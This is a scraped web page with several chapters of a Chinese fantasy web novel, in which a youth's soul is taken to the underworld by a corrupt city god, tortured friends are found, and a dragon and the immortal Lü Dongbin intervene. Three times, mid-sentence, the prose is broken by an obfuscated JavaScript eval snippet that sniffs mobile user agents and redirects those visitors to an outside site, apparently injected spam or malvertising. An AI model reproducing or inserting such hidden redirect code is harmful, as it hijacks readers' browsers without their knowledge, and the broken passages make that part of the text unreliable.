胡四想了想道:“如果是他,应当会的。二郎神君乃玉帝侄儿,地位超然,他为人刚正不阿,实力更是高强,非是一般神官可以忤逆的。再者,二郎神君长居灌江口,基本没什么事的话都在人间呆着,找他出面不但最合适,也是最方便快速的。” 李钰闻言,心下稍安。 “你放心,只要找到二郎神君,一定就有办法的。而且你是没有见到今日白道长的速度,城隍他们必定追不上,只要出了常州地界,白道长就一定能将二郎神君找来。”小翠道。 连小翠都说得这般笃定,李钰彻底冷静下来。小翠见他面色总算松快了一些,继续笑着说:“别担心,我们今晚就陪着你,龙行千里,或许明天早上就能有结果了!” 李钰点点头,终于扯出个笑容,这才想起他们说了这么久,胡四相公和小翠连口茶水都没喝,忙给二人斟上茶水。 小翠端起茶盏欲喝,动作忽然一滞,立刻转头看向窗外。胡四相公行动更快,已经挥袖闪身至房外,戒备地环视四周。 这突如其来的变故,让李钰也紧张地走出房门,“这又怎么了?” 黑夜中只有冷风低吟,胡四、小翠连同詹贵儿脸色都难看至极。李钰刚放下的心又提了起来,眼下恐怕是前所未有的危机将至。 夜风骤然猛烈起来,卷起沙尘落叶,廊下风铃发出急促的响声,就像在发出警告。 “区区山野小妖也敢在本神官面前放肆!”轻蔑的声音由远及近,一道红光随风席卷而来,直击挡在最前面的胡四,胡四尽全力抵挡,仍被震飞出去,狠狠撞在廊柱上,瞬时喷出一口鲜血。 “胡四相公!” “四哥!” 李钰三人眼见这一幕,顾不得其他,忙上前查看胡四情况。 “是城隍!”胡四相公一把抹掉嘴角的血,“他居然找到这了,小翠、贵儿,你们带李公子先跑!” 还不等几人有回应,院中变传来有人落地和兵戈轻撞之声。他们抬头向院中忽然多出十数人,个个长相奇特、凶恶异常,李钰一眼就认出黑白无常和牛头马面,那么中间站着的那个看起来普普通通的老头,就是城隍? 城隍老头上下打量了李钰一遍,确认自己要找之人就是他,“好好一个少年人,倒是和这许多妖物混在一起,看来你也不是什么好东西。” 李钰皱了皱眉,一把拉住就要冲动上前叫骂的詹贵儿。 74.再入地府 “哥哥……”詹贵儿抬头看他,此时脸上是愤怒多过害怕。 李钰冲他摇了摇头,将他拉至身后,面前之人可是神官,连胡四相公都这么轻易被打伤,小贵儿要万一说错了一句话,就被打个灰飞烟灭怎么办?面对绝对压制性的强敌,他们不能轻举妄动。 在其他人惊疑不定的目光下,李钰上前一步,躬身施礼道:“不知城隍大人驾到,有失远迎。只是家中父母年迈,受不得惊吓,还望大人有话好好说,小人无有不应。” 小翠不敢置信地看着李钰,“小鲤鱼……”,话才刚起头,胡四扯住小翠的衣袖,轻轻摇了摇头。 城隍眼里闪过一丝异色,冷笑道:“本神官非是不讲理的人,你既有礼,我也不会乱来。你这处宅子有那妖龙所留的感应阵法,想必你应当是他很重要的人吧?那妖龙跑得虽快,却忘了此处是本神官的地界,有何事是本神官不知的?他既已跑,只能让你跟本神官走一遭了。” “不可能!”小翠立刻出声阻止,城隍看也不看她,抬手就要出招。 千钧一发之际,李钰大声道:“好!我去。” 城隍的手悬在半空,李钰又接着说,“我可以跟你走,还会交代家人献上许多供奉!大人想必应当也知道我李家每年都有奉上香火,当初修缮城隍庙我们家也是出过力的,我李家上下一片虔诚之心,还望大人不要扰我家人,也请放过我这几位朋友。之后我定再多备往日百倍的香火供奉于您的殿宇中。” 城隍放下了手,眼睛微微眯起,看起来颇为满意,“不错,没想到你倒是个懂事的,你既然这么说,我便也不再为难这几个小妖小鬼。你也不用太过担心,接你去只为引那妖龙回来,我与他的恩怨也不会牵连你,只要你以后继续虔诚供奉,本神官还能多关照你李家几分。” “多谢……大人。”李钰拱手下拜。 小翠还想再说什么,却见低头的李钰,紧紧咬着双唇,唇间隐约已然见血。她深吸一口气,敛下双眸,抱紧詹贵儿。 李钰恭敬谢完城隍,直起身来看向另外三人,面上似乎没有变化,甚至笑了笑,“我随城隍大人走一趟,你们不必担心,回家去吧。” 说完,李钰身体一软栽倒下去,胡四相公连忙接住他,再往城隍处一看,李钰的魂魄已经跟随在城隍身侧。 城隍冷冷看了两狐一鬼一眼,“你们的朋友我带走,事情了结,他自会回来。而你们,好自为之。”话罢,便携李钰和众鬼差扬长而去。 “咳咳咳……”胡四又喷出一口鲜血,自责道:“是我无用,救不了恩公,还要他牺牲自己来保护我……” “四哥,你还是快快疗伤吧,刚听小鲤鱼那样说,短时间内他应该是不会有问题的,只要我们等明天……”小翠止住话头,不安地看了看四周,生怕还有鬼差藏在暗处没走,暴露了白道长行踪,反而危及李钰。只是不知,白道长若通过阵法发现此处被城隍闯入,会不会立刻返回…… 她的未尽之言不只是胡四相公听懂了,连詹贵儿都听懂了,小孩抹了把眼泪,紧紧抱着李钰的身体,心里不断祈求:道长哥哥,你一定请到二郎神快快回来,救救我哥! 而此时,行至半路的银龙猛地停在空中,带着水汽的云雾随风略过冰凉的龙鳞,沁得白行野遍体生寒。 城隍他们竟然找去了李家! 白行野只觉心口一痛,他望着西南方向长啸一声,龙吟震动苍穹。继而,银龙眼神决绝,一个转身冲向来时的方向。 李钰又又又一次离魂,随着城隍飘荡,左侧是牛头马面,右侧是黑白无常,背后还跟着一众长相比牛头马面更怪异的鬼差。一时只间,他竟生出些啼笑皆非之感,他这个外来魂大概是真的和李珠儿的身体不合吧。要是自己这一去拖到白日里,被家里人发现自己的身体又没气了可就不好了,虽说姐姐为父母求来的百年长寿,可也经不起总这么惊吓啊。他轻叹一声,又想到白行野,至少目前看来他倒是暂时安全,希望行野别冲动回来找他,还是快快去找二郎神君才是。各种担忧涌上来,都怪这个可恶的城隍,李钰狠狠瞪了眼前面老头的背影。 城隍似有所感,扭头看了看李钰,见他一副恭敬地垂着头跟随的样子,便又转过头去。 死老头,背后长眼睛了啊?!李钰腹诽,这一惊吓倒是驱散了他纷乱的思绪,忽然意识到有点不对,若是去城隍庙早该到了,这个路线是……他仔细辨认着四周有些眼熟的风景,直到看到前方那座巍峨的高山——望乡台。 他们到地府来了! 为什么会带他直接入地府?难道说他此前的猜测成真了,这城隍果然有后台!而在地府之中,他的后台不会是……李钰心下一沉。 直到来到一座宫殿前,李钰几乎感到了绝望,还真是阎王的宫殿。这座宫殿比楚江王的宫殿更大且更为华贵,朱漆金钉,雕栏玉阶,也不知是吞了多少油水修成的。城隍只带了李钰一人进殿,走进殿内更是玉案金炉,梁柱之上金漆雕龙,御座四周瑞兽盘绕,上坐一位如楚江王一般身形的阎王爷。其穿着一身金光闪闪的朝服,头戴冠冕,生就一副怒容,眉如刷漆,眉梢飞扬,一双豹目炯炯有神,不怒自威;唇线薄削,紧抿成一线,更显无情冷酷,仿佛一开口就会是雷霆之怒。 只一眼,李钰便被其威严所震慑,且与当初见到楚江王不同,这一次是自心底犹然而生出恐惧,这又是哪位阎王? 城隍躬身下拜,先前的气势尽数收敛,极为恭敬道:“小神拜见宋帝王殿下。” 宋帝王……李钰迅速回忆起来,此前见过楚江王后,李钰翻看了许多关于十殿阎罗的记载。这位宋帝王殿下应当是第三殿阎罗,专司审判在阳间忤逆尊长、教唆兴讼、见利忘义之辈,还有高官厚禄却不顾民命,不守官德的罪魂,是以嫉恶如仇闻名的阎王殿下。可如今,城隍竟将李钰带到了此处,何其讽刺。 高座上的宋帝王冷哼了一声才道:“区区一件小事,如今却被一个生魂一条妖龙闹到这种局面,你做事向来小心,此次却惹出这等麻烦!那妖龙若是传出去什么,我也保不了你。” 妖龙倒罢,一个生魂是……他自己还什么没做就被捉了来,应该不是指他,难道方平兄也在地府?李钰眼神一动。 城隍悚然一惊,忙跪了下来,“殿下明鉴,实在是那妖龙太不识相,下官已看在孚佑帝君的面上应下他诸事,他还要纠缠,甚至想看生死簿!下官无能,让他逃了,但请殿下放心,下官将他看重之人带来地府,不怕不能引他回来。” 说着,城隍侧身指向身后李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327946|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钰道:“他在此人家中长住,还留下了感应阵法,还一起来过下官庙中,举止亲昵非常,必然很重视此人。妖龙感知到下官将其带走,定会前来相救,我们只用守株待兔,必能将他拿下!” 李钰这才知道,原来当日他们去城隍庙时就被注意到了。 城隍战战兢兢地说完,等着宋帝王的反应,宋帝王打量着李钰,那目光中的威压甚重,令人不敢直视。 半晌,宋帝王缓缓道:“若还能补救,我便再给你一个机会,可要再有什么岔子,后果你一力承担。” “是是,下官知道,定不会再让妖龙逃走。” “退下吧。” “是,下官告退。”城隍应声,转身便带着李钰出去了。 等出了殿,李钰有种如释重负的感觉,但立刻又有新的担忧涌上来。这城隍的背后靠着的竟是第三殿阎罗,就是和这长期贪墨香火、吸食供奉之力的城隍对上,行野都难有一战之力,若来到地府,更是绝无胜算,若真前来只是送死。李钰心急如焚,行野,你一定要冷静,一定要先找到二郎神君,切不可冲动啊! 走在前面的城隍并没有干等的意思,而是带着李钰进入了宋帝王执掌的黑绳大地狱中,广袤的地狱内有十六小地狱,各个小地狱内是不同刑具林立,不同的刑罚在施行。李钰刚踏入其中,便被眼前万鬼哭嚎的惨状深深震慑。 跟随城隍沿路而行,路旁一侧是数座闪着寒光的高山,其上万千铁片林立,小鬼挥鞭抽打亡魂将其往布满刀片的山上驱赶,亡魂们要么被抽打得皮开肉绽,要么被刀片划得血肉模糊。李钰看了一眼就避过眼去,又见另一侧则是森森白骨组成的骨林,张牙舞爪的树枝上倒挂着一道道人影,不时有小鬼手执各种利器折磨他们,而那些亡魂因为倒悬在半空逃脱不得,发出的惨叫都是怪异而扭曲的。远处还有数千张烧红的铁床,火光映天;更有镬汤翻滚,人如牛豚般被烹煮……李钰不知如何形容此情此景,想说简直是炼狱,可他想起这里本就是地狱。 他不敢继续看下去,只低着头默默随着城隍前行,而一旁不绝于耳的惨叫却无法忽视,令人胆寒。就不知城隍带他来此,究竟是何意?难不成要让他也试试这炼狱之刑?想到这儿,顿觉双腿如有千斤重,每走一步都极为吃力,此时脑子里也是一团浆糊,不知道若自己再许下重金,能否拖延一二? 忽然身前城隍的脚步停住,李钰鼓起勇气抬头,眼前一片开阔之地,其间却有数台宛如断头台一样的刑具。仔细一看,那高高驾起的利器非是铡刀,而是铁锯!其中不乏有亡魂正在受刑,铁锯两端有小鬼拉扯着,生生锯开被绑住的亡魂魂体!或从头顶往下或从腰部一分为二,场面之血腥残忍,只看一眼李钰就白了脸。更令人惊骇的是,他认出眼前那名从头顶被锯开的男子,分明就是他们在寻找的席方平! “方平兄!”李钰几乎是惨叫一声,眼泪立刻涌了出来。一直不知所踪的好友生魂,再见之时,竟在受此酷刑!怎能不痛?怎能不恨?! 李钰已经奔了过去,脚步踉跄,城隍却没有阻止。他跪在席方平身边,面对分成两半的好友魂体,靠近后却不知如何是好。一旁的两名鬼差上前,一个一把推开李钰,一个抽出自己的腰带往席方平腰间一捆,魂体又合二为一了。 75.阎王之怒 只听绑腰带的鬼差悄声对席方平说:“敬你是条汉子,这条腰带送你,以慰你之孝道!” “我们也是听命行事,你且认个错,回了阳间还是能正常生活。”另一名鬼差也压低声音道。 席方平忍受剧痛,恨不能死,刑罚结束也觉身体上的裂缝痛到极致,连哀嚎之声都无法发出。那些话他听到了,可他痛到无法回应,直到鬼差用腰带将自己的身体捆好,才觉裂缝渐渐合拢,痛楚也稍减两分。 他这才睁开眼,先是看到那两名鬼差,又见一人伏下身来,那人眼泪连珠似滚落,艰难开口道:“怎么会这样?他们怎么能这么对你?他们怎么能这么对你……” 席方平恍惚半晌,听见熟悉的声音这才回过神来,定睛一看,来人竟然是李钰兄弟!他心神震动,大惊道:“你怎么也会来此?难道……是我害了你?!” 李钰连忙摇头,“不是你的错!” 方才面对酷刑仍旧威武不屈的席方平,这时见了好友也撑不住了,声泪俱下地哭诉道:“我找到城隍庙中见到了父亲,父亲被害死,死后亡灵竟还受城隍阴司内鬼差拷打!我不服去城隍面前告状,却也受其杖刑!辗转到地府,我又去阎王殿状告城隍,谁曾想他们竟也是一丘之貉……种种酷刑加身,只不许我再闹。我父蒙冤而死,我父子被欺凌至此,叫我如何能不闹?如何能不告?!李贤弟,我父亲冤啊!我席家父子冤啊!” “我知道,我知道……” 两人抱头痛哭,身处这无边地狱,阴律如虚设,冤情无处诉,只有无尽的绝望和悲愤。 “哼,果然是都认识的。”城隍忽然开口,脸上带着厌恶的神情。 席方平抬头怒视城隍,反正已到了这步田地,他什么也不怕了!只是他的好友,定是受他牵连才被迫来到此地,他急怒交加,怒道:“子为父申冤乃天经地义,可我的朋友与此事无关,你们怎能将他也牵连进来?这地府之中,难道是没有王法的吗?” “大胆!”城隍厉声斥道,“还敢大放厥词?我看你是还没有受够刑罚!旁边就是铁床地狱,你若还要继续闹事便就去受受炮烙之刑,我看你服不服软!” “不可以!他已经伤成这个样子了,你们还要怎么样?”李钰再也忍不住,此前伏低做小是为了不牵连李家上下和小翠他们,可这群贪官酷吏居然如此对待无辜的席方平父子,简直丧尽天良!他再也装不下去,站起来护在席方平身前。 而城隍老头像是看笑话般看着他们,“区区蝼蚁还想登天不成?不想再受刑,你就好好劝劝你那朋友,不要再告状,好好回去过自己的日子不好吗?” 说到此处,城隍声音放缓了一些,“若是同意,送他些金银算是补偿,何必非要来扰乱地府秩序?” 原来城隍带自己来此,是打着让他劝说席方平别再告状这个主意,李钰心下明白了。可又升起一丝疑惑,城隍和宋帝王既已瞒天过海,做下将阳寿未尽之人折磨至死,受贿虐打冤魂的恶行,为何却对方平兄要使出如此多手段威逼利诱?说的不好听点,若不想让他继续上告,难道没有更决绝、更一劳永逸的法子吗?除非,是因为方平兄是生魂自行离体才有所不同?!若是让生魂魂飞魄散,是否有连城隍和阎王都难以承受的业力和反噬?若真如此,所谓的补偿金银不过也是骗局,一旦方平兄魂回其身,那其父席廉的死状恐怕会在他身上再度上演! 脑中思路飞速运转,李钰越想越心惊,竟渐渐摸到天道法则运行规律的一点边界。纵使宋帝王和城隍他们能钻漏洞,制造事故或病症令人枉死,甚至有篡改生死簿的嫌疑,但是却也不是真的能肆意妄为的,无形的天道规则中是不允许他们对生魂随意杀戮的。正因如此,他们才要这般折磨方平兄的魂体,现在又要利诱劝说其回去。 想通此中关节,李钰一时说不出是愤怒更多还是庆幸更多,至少方平兄暂时不会没命,只要等到行野带来二郎神君……可如今情形,方平兄撑得住吗? 这时,又一声怒喝打断李钰的思绪。 “到底是谁在扰乱地府秩序?城隍贪赃枉法虐杀平民,到了阴间还要继续虐打无辜亡魂!我为父申冤状告鬼差和那姓羊的,你作为一府城隍却与手下狼狈为奸,我一府百姓在你的管辖下还有活路吗?我拖着这残魂一路告到地府,未曾想这阴间衙门竟是比阳间还要黑暗!连一殿阎罗也是如此官官相护,将我折磨至此。这世间还有公道可言,还有天理可言吗?!” 听着席方平字字泣血的控诉,李钰亦是怒气上涌,只觉黑暗遮天蔽日,这样的城隍,这样的阎王,不知手下有多少刻意为之的冤假错案,多少无辜的被害之魂?此等罪行,天地难容! “既然你如此不知好歹,那就叫你领受一下铁床之刑,看你还敢继续狂妄!”城隍不怒反笑,一抬手便有鬼卒上前抓住席方平,将他往另一边的火光映天的铁床地狱拖去。 见刚刚才受过裂魂酷刑的好友还要去受炮烙之刑,即便知道方平兄至少不会死,李钰也无法眼睁睁看着他被拖走!他立刻追上前去阻止,却被其中一个小鬼一脚踢翻在地。李钰狠狠摔在地上,周身传来的疼痛这才让他知道原来灵魂受伤,也会如此之痛,那方平兄所遭受的一切,他简直不敢想象。 眼见席方平就要被带走,李钰忍痛撑地起身再去拦,却一次次被推开,一次次跌倒。席方平见状,对他含泪摇头道:“贤弟,别管我了!” 李钰已是急怒攻心,却做不了任何事,他怒不可遏地指着城隍破口大骂道:“恶鬼散财,尔等大开后门!冤魂泣血,却要刑狱加身!这黑绳地狱中又有多少冤魂是被你们一手害到此处来的?一府之司,一殿阎罗,可知阴律何在?可知天理昭彰,报应不爽?” “闭嘴!”城隍抬手一挥,罡风袭来将李钰掀翻在地。 这一下可比那些小鬼的推搡重多了,明明是魂体状态,却像是五脏六腑都在痛。 城隍转头对小鬼们斥道:“愣着干嘛?还不押走!” “你,枉为一府城隍……”李钰挣扎起身,连城隍都有些惊讶他竟还敢再骂?回身面向这小小生魂。 只见李钰举起颤抖的手,直直指向地府冥天,一字一句厉声质问道:“那高高在上枉戴神冠之人,怎能有如此厚颜踞坐森罗?!” 他一句比一句高声,直至最后几乎嘶吼出来,周围似乎都寂静了下来。李钰双目充血,气得浑身颤抖,周边阴差鬼卒听到那番直指此处之主的言论,都忘了手上的事,惊骇地看着他,就像看一个疯子。 城隍手指颤颤巍巍指向李钰,“你……你竟敢辱骂宋帝王殿下?” 李钰狠狠往地上啐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331427|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口,“我骂的便是该骂之人,你们敢做还怕被人骂吗?连被骂都怕,怎不怕有朝一日恶行败露受到天罚?!” “你你……”此话直戳城隍痛脚,一时不知是惊是怒,半晌没说不出来话来。却见此时,天色忽然暗了下来,众鬼抬头一看,地府内昏黄的上空,黑云迅速聚集,有滚滚闷雷之声传来。 黑云压城城欲摧,宋帝王发怒了。 黑绳地狱之主,神识覆盖整个大地狱,怎会不知所辖之地发生之事?蝼蚁般的人罢了,竟敢在地府众小鬼面前如此痛骂他,这若还不惩治,自己才算是真没了颜面威严! 城隍面上露出惊恐之色,宋帝王竟要不顾灭生魂带来的反噬,都要杀此人泄愤吗?他面上带着恐惧,嘴上还恶狠狠对李钰道,“你死定了。” 李钰仰头看着雷电在黑云间闪烁,却是神色未改,心道,这一次自己确实躲不过了。 “这不关李钰的事,他是受我牵连!你若要劈就劈我!”席方平挣扎着冲上方雷霆紫电大喊,几名鬼差几乎压制不住他。 可这里谁会在意席方平说什么?霹雳之声传来,一道白光划破乌云,利剑般从云间飞刺而出,闪电光柱直劈向李钰!森然惨白的光照亮了李钰的脸,他死死钉在原地,无处可逃。 面对地狱之主的怒火,李钰闭上了眼,他本就是方外之魂,本就不属于这个世界,能在这里多活这一年多,拥有了这么多亲人朋友已经是赚了,尤其是他有行野。 行野…… 轰雷掣电中一声龙吟长啸,李钰蓦地睁开眼看清眼前场景,霎时目眦欲裂。 银龙在天,以自己的身躯截住了劈下神罚惊雷!白行野运转全身灵力,硬扛雷霆之怒,死死守住了李钰头顶的一片天空!而龙身在一次比一次猛烈雷击下,疯狂痉挛扭动起来,龙鳞也被流窜周身的电流掀飞,雪片般簌簌落下。 一片带血的龙鳞落在了李钰肩头。 “行野!!!” 不要不要……你别管我!快走开啊…… 泪水决堤,李钰声音撕裂般一遍又一遍地喊白行野的名字。 几息过后,白行野感觉自己已经快撑不住了,但他不能退!他若退,阿钰必死! 忽然,他听到什么东西的碎裂之声,一道金光自他身上迸发而出,金光暴涨,以滔天之势照亮了整片天空,黑压压的雷云也被驱散了。 直至刺目光芒渐歇,银龙直直从空中跌了下来,坠落在地面掀起漫天尘土。李钰不断咳嗽,泪水模糊,根本看不清周遭情况,他趴在地上焦急地摸索着,终于摸到那熟悉的银龙颈间的鬃毛,以及湿滑的血水。 随着烟尘散去,李钰不自觉地颤抖起来,不敢置信看着眼前虚弱的行野。此时的银龙浑身浴血,往日飞扬着的鬃毛紧紧贴在脖颈上,他的双眼紧闭,呼吸极轻,恍然一眼就像快死了一样。 李钰心如刀绞,小心翼翼地环住银龙的头,轻声道:“对不起行野,都怪我,对不起……” 白行野微微睁开眼,看到眼前泪如雨下的人,神情却像是放心了一样,有气无力道:“还好……你没事。” 李钰怔了一瞬,便眼看着银龙又缓缓闭上了双眼,他慌乱地喊道:“行野……行野!” “好啦好啦,小友可否让一让?好让我救救我徒儿啊。” 76.吕祖驾到 一个男人的声音从身后传来,李钰回头一看,来者是位道人,其身形伟岸,眉目卓然,美髯垂胸;他身着道袍,手执拂尘,背负宝剑,一派松柏临风的仙人气韵。 他说救他徒儿…… “你是……吕洞宾?”李钰不可置信地问道。 “正是在下。”吕洞宾笑眯眯地看着李钰,“小友,可否让一让了?” 李钰连忙让到一旁,吕洞宾走到银龙面前,抬手用拂尘一扫,一道金光呈守护之势环住白行野,丝丝缕缕金线一样的光芒浸入银龙身上的伤口,似穿针引线般为其缝合,伤口肉眼可见的渐渐开始愈合。 眼前的神迹看呆了李钰,这就是孚佑帝君,纯阳祖师,吕祖吕洞宾吗?这就是真正的神仙?行野真有救了! 又见吕洞宾蹲下身将腰间的酒葫芦取下,递到银龙嘴边,葫芦里面溢出的灵气肉眼可见,金色的灵液自葫芦中倾倒而出,喂进白行野的口中,也不知是何种灵药还是仙泉? 白行野贪婪地喝着灵液,须臾,吕洞宾将酒葫芦拿开,又轻轻晃了晃葫芦,脸上流露出一丝心痛,“好徒儿,也给你师父留一点。” 此时的白行野呼吸逐渐平缓,眼睛睁开透出几分清明,他试着挣扎起身,可一移动外部伤口和五脏六腑仍牵扯着疼,只能又趴了下来。李钰在一旁看到,几乎心疼得肝肠寸断,白行野却还出声安慰他:“阿钰,我没事的,你别怕。” 李钰只觉得眼泪又要涌上来了。 “你这不孝徒啊,眼里还有没有我这个师父?都不知道先拜见为师?”吕洞宾无奈道。 白行野扯了扯嘴角,像是在笑,“师父就别为难弟子了,是徒弟学艺不精,还要劳您前来相救。” 吕洞宾摇了摇头,“你这孩子惯会逞强,遇到这种事早该求助为师,哪儿能让你们孩子们去对抗这些地头蛇?” 您老云游四方,我上哪找您去?白行野还想辩驳几句,“师父……” “你别说啦,速速调息,剩下的事就交给为师。”吕洞宾站了起来,转向李钰。 李钰立刻手足无措,方才他居然直呼吕祖名讳,而且这可是白行野的师父!在这种情形下见家长,行野为了他受此重伤,他还这般灰头土脸的…… 吕洞宾却带着和善的微笑,拍了拍李钰的肩膀,就像是邻家长辈一样说:“小友,你去陪陪我徒儿,我来跟他们说。” 李钰呆愣愣地点了点头,跪坐到白行野旁边,问他:“行野,你现在觉得怎么样?” “好多了,只是有些疼,暂时还变不了人形。”白行野语速缓慢,看起来精神还是不太好,他继续安慰道,“你不用担心,有师父在。” 一人一龙不由都看向吕洞宾,不远处不知什么时候宋帝王已经恭恭敬敬地在一旁候着,而那常州府城隍更是跪拜在地,抖如筛糠。 “你师父在天庭是什么官啊?”李钰低声问道,这架势看起来挺不一般呢。 “我也不知,以前除了有时在洞府住时会指导我们这些徒弟,其余时候师父都是云游四方,济世扶危,偶尔才去天庭一次。”白行野目光灼灼地望向吕洞宾的背影,“不过我知道,师父他特别厉害。” 吕洞宾不疾不徐地踱步上前,宋帝王慌张地躬身施礼,“上仙驾临,小王有失远迎。不知上仙此次前来有何指教?” 宋帝王原本小山一样的身躯,此时或许是为了表示谦逊,变成了常人一般。城隍跪在一旁哆哆嗦嗦,心里想着这宋帝王殿下可真会装相,都把吕祖徒儿打成那样了,还能这么正经地问出对方前来有何指教?这份淡定,他可学不来。 吕洞宾哈哈一笑,“宋帝王不必客气,我本无意到地府叨扰,我这徒儿是妖族出生,生来秉性纯直,不大通人情,我才让他来凡间历练。还好我知他修炼时日尚短,特意给他留了护身法器,就是为了在危机之时有所感应,我才能及时分身赶到他身边救援。未曾想竟是来到地府之中,见证阎王一怒,却是不知我这小徒犯下何错竟让宋帝王如此生气?” 听到这话,李钰歪头看向白行野,银龙低声道:“就是我的乾坤袋,方才若不是乾坤袋碎了,我都不知道师父还藏了这一手。” 李钰明白了,心里又是庆幸又是安慰,看来行野的师父对他很好。 宋帝王却听得直冒冷汗,这孚佑帝君话倒是说得客气,可字字句句都是对自己徒弟的维护之意。他这徒弟和那徒弟的友人可还牵涉着自己与城隍勾结收受贿赂、滥用职权之事,若让他知晓了此事,无异于明摆在天庭面前。这位孚佑帝君虽并无实权,平日也都云游四海,可八仙却是地位超然,连玉帝王母也都要卖他们面子,何况纯阳祖师实力更不容小觑,即便只来了一分身,也不是好相与的。 思量再三,宋帝王还是决定退一步,又一次躬身一拜,“还请孚佑帝君帝君勿要见怪,本是因为一些误会,是那李钰小儿在此口出狂言辱骂小王,这才想要惩戒他,没想到高徒突然冲了出来以身相护,这才误伤了帝君徒弟!小王惭愧愿意补救,殿中也有珍贵良药,可奉给帝君以表歉意。” “原来如此。”吕洞宾点了点头,“那就听宋帝王的,挑选些上好的药材供我徒疗伤吧,既然是误会,说清楚便罢。” 李钰一听就急了,怎么能就此作罢?席家父子冤屈未申,更不知他们之前还有多少冤魂受害!他刚一动,身旁的银龙就用头蹭了蹭他的手,冲他摇了摇头,轻声道:“不要冲动,师父行事自有道理。” 李钰这才又坐回去,静观其变。 宋帝王倒是很意外,这吕洞宾如此好说话的?忙叫来文判官去取灵药来,文判官刚应声要走,他又将其叫住。宋帝王斜眼看了下趴在地上的妖龙,深吸了一口气,他向来瞧不上这些妖物,可这吕祖素来爱做些点化妖物、收妖为徒的事,他对这徒弟又颇为维护,此事又牵涉有甚多…… 思来想去,他咬了咬牙,从袖中取出一把金钥匙递给文判官道:“去我私库里取……” 文判官听之面露惊讶,不论是巴结也好,还是想以重利让吕祖对背后的事睁一只眼闭一只眼也罢,宋帝王殿下这是要大出血了!但这不是他一小神官能管的,赶紧接过钥匙,唯唯诺诺退下。 宋帝王勉强笑了笑,说道:“上仙何不去殿中歇息片刻,此处污脏,怎能让您在此久等?” 吕洞宾看了看四周地狱惨状,倒是像欣赏什么美景一样,悠然道:“无妨,小徒伤重不便挪动,我也久未见这地府风光,就不去坐了。” 宋帝王被这话一噎,也不敢再多言了。 片刻后,文判官捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335602|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一个精致宝匣过来了,宋帝王给了他一个眼色,文判官就直接将宝匣双手奉到吕洞宾面前。吕洞宾不客气地接过,打开宝匣的一瞬,浓郁的木灵之气蓬勃喷涌而出。吕洞宾眉毛一挑,眼中闪过一丝异色,心底冷笑,面上却不动声色道:“神农鼎中的万年灵膏,可活死人肉白骨续仙龄,宋帝王手中竟有这等宝物,真是让我也大开眼界。” 宋帝王一直紧张地注视着吕洞宾的反应,听其语气并无不对后才定下心来,心中暗道,自己如此有诚意,你既然手下此大礼,往后大家可要继续桥归桥路归路才好。 可没想到吕洞宾收下了宝匣,忽然话锋一转,“对了,我刚想起来,我徒儿这两位朋友竟是生魂啊,这又是为何会在地府之中受刑呢?” 宋帝王和城隍庙心中都是一惊,怎么收了礼还提这些事?! “只不过是其中一人不满其父身死,硬是生魂离体闹到地府来。”宋帝王笑得更为僵硬了,心里不断盘算着说法,“您是知道的,我们地府办事都是按着生死簿行事,哪会随意勾魂?他们一个二个却偏要质疑阴间律法,赖在地府之中不说,还当着诸多小鬼们的面辱骂小王,实在胆大包天,小王这才惩治他二人,实则不过只是想逼他们走罢了。” 本王便是赌这一把,生死簿可不是谁都能查看的,吕洞宾纵然地位在那,可他并无插手地府之事的实权,若真为了区区两个凡人要查生死簿,那就是他没道理了!宋帝王眼里闪着精光,反正他徒弟的那部分自己已经补偿了,他就赌吕洞宾断不会再为了区区两个凡人强行查看生死簿! 果然,吕洞宾不过只是沉默了片刻,便捋了捋胡须道:“现在的年轻人啊,确实不知天高地厚,既然宋帝王本意是想让他二人走,那我便顺手领走他二人好了。” “这……”这吕洞宾怎么如此狡诈?宋帝王气得牙痒痒了,这俩小子十分可恶,谁知道他们出去了还会不会四处去告状?若是去了泰山东岳大帝那告他,自己可就别想好了!他这时才反应过来,吕洞宾竟是句句给自己挖坑。 “怎么?宋帝王不会还想罚他们吧?我看他们已经受得够多了,两个生魂长时间离体,若阳间的身体出点岔子,使得其还不了阳,这可就是大过了!到底他们还是阳世之人,宋帝王何必为区区凡人犯了规矩?还不如我一并带走,免得他们再在此处扰宋帝王清静。” 吕洞宾一脸的善解人意,乐意帮忙的模样,差点将宋帝王气了个仰倒。过了半晌,才听他咬牙道:“那便劳烦帝君了。” 一切似乎都已谈妥,但还有人不乐意,席方平早就被眼前种种变故惊呆了,此时也反应过来,大叫道:“我不走!你们不放我爹,我绝不会走!我爹平生未有为恶,你们凭什么……”他话还没说完,就被一旁鬼差堵了嘴。 